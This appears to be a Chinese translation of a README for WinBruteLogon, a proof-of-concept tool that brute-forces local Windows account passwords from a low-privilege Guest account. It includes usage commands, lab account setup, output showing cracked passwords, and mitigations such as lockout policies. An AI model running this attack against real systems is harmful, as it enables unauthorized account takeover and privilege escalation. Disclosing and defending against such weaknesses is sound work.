项目地址:https://github.com/DarkCoderSc/win-brute-logon
目标:Windows XP 到最新的 Windows 10 版本 (1909)
WinBruteLogon.exe -u <username> -w <wordlist_file>
标准输入词汇表
type <wordlist_file> | WinBruteLogon.exe -u <username> -
这个 PoC 更像是我所说的 Microsoft Windows 身份验证机制中的一个严重弱点,而不是一个漏洞。
最大的问题与缺乏执行此类操作所需的权限有关。
实际上,通过访客帐户(Microsoft Windows 上最受限制的帐户),您可以破解任何可用本地用户的密码。
使用命令找出哪些用户存在:net user
这个 PoC 使用多线程来加速进程并支持 32 位和 64 位。
在 Windows 10 上测试
安装和配置新更新的 Windows 10 虚拟机或物理机。
在我的情况下,完整的 Windows 版本是:1909 (OS Build 18363.778)
以管理员身份登录并让我们创建两个不同的帐户:一个管理员和一个普通用户。两个用户都是本地用户。
/!\ 重要提示:我在演示中使用了 Guest 帐户,但这个 PoC 不仅限于 Guest 帐户,它适用于任何帐户/组(guest 用户/普通用户/admin 用户等...)
net user darkcodersc /add
net user darkcodersc trousers
net localgroup administrators darkcodersc /add
创建普通用户
net user HackMe /add
net user HackMe ozlq6qwm
创建一个新的访客帐户
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
从管理员帐户注销或重新启动计算机并登录到访客帐户。
将 PoC 可执行文件放在您作为访客用户可以访问的任何地方。
用法 :WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v
是可选的,它设计了详细模式。
默认情况下,域名是%USERDOMAIN%
env var 指定的值。您可以使用选项指定自定义名称-d
破解第一个用户:(darkcodersc
管理员)
提示(客人)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
等待几秒钟以查看以下结果:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
破解第二个用户:(HackMe
普通用户)
提示(客人)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
等待几秒钟以查看以下结果:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
如果您获得了对低权限用户的访问权限,则可以破解更高权限用户的密码并提升您的权限。
修复:
禁用来宾帐户(如果存在)。
应用程序白名单。
按照指南创建并保持密码强度高。将此应用于所有用户。
实施安全锁定策略(默认不存在)
打开secpol.msc
然后转到Account Policies
>并使用(1 到 999)之间的所需值Account Lockout Policy
编辑值。Account lockout threshold
值表示锁定之前可能尝试的次数。
/!\ LockDown Policy 不适用于管理员帐户。此时,对管理员帐户(如果启用)的最佳保护是设置一个非常复杂的密码。